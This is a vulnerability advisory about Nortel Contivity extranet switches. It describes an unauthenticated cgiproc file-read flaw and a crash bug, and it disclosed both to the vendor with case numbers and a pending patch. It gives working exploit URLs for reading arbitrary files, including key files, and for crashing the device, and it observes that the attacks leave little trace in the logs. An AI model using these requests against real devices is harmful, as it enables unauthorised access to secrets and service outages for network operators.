Nortel Contivity Vulnerability

[foo () BLACKLISTED INTRANOVA NET (foo)]

Description
-----------

Nortel's new Contivity seris extranet switches
(http://www.nortelnetworks.com/products/01/contivity) give administrators
the ability to enable a small HTTP server and use Nortel's web based
administration utility to handle configuration and maitenance.
The server runs atop the VxWorks operating system and is located in the
directory /system/manage. A CGI application, /system/manage/cgi/cgiproc
that is used to display the administration html pages does not properly
authenticate users prior to processing requests. An intruder can
view any file on the switch without logging in.

Method of exploitation:

pretty much a no brainer:
http://x.x.x.x/manage/cgi/cgiproc?Nocfile=/name/and/path/of/file.

(interesting places to look: /system/filelist.dat, /system/version.dat,
/system/keys, /system/core, etc.)

The only entry found in the event/security logs after exploitation is
this:

09:44:23 tEvtLgMgr 0 : Security [12] Management: Request for cgiproc
denied. requires login

Also, this same application does not properly escape metacharacters such
as '$', '!', resulting in total system crash:
http://x.x.x.x/manage/cgi/cgiproc?$

Nothing is found in the security/event logs after reboot.

Affected:
--------

Tested on a Contivity 2500 running version 2.6 of the VxWorks OS.
However, the cgiproc application has been (i believe) part of
the package since their initial release, therefore earlier versions may
also be affected.

Fix

---

I was finally able to contact Nortel about this on January 7,
to open up a case (CR# 118887 - cgiproc 'bug', CR# 118890 - DoS).
A patch has been developed and is scheduled to be released with their
next shipment of the VxWorks package.

Those administrators that have properly configured the switch, and placed
adequate access control/filtering rules on the managemnt virtual ip should
not have any immediate concerns.

- John Daniele